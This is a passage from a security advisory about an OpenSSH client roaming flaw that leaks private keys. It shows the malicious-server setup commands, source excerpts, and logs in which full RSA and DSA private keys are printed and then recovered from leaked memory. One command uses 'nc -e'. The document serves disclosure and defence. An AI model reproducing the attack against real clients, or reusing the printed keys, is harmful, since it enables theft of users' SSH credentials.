However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:
$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:
env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]
$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection
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Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:
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first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;
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second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.
In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).
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In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:
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In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:
418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }
Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:
$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
- The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]
- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:
1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }
101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));
$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes
- The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:
$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]
This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.
This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013
$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013
$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...
env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-279f5e2b/infoleak
... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013
$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----
env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]
cat /tmp/roaming-6cb31d82/infoleak
... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015
$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s 17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8 L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19 qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB +s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG 8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----
"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)
(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)
cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----
env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 ...
strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5
strings /tmp/roaming-b324ce87/infoleak
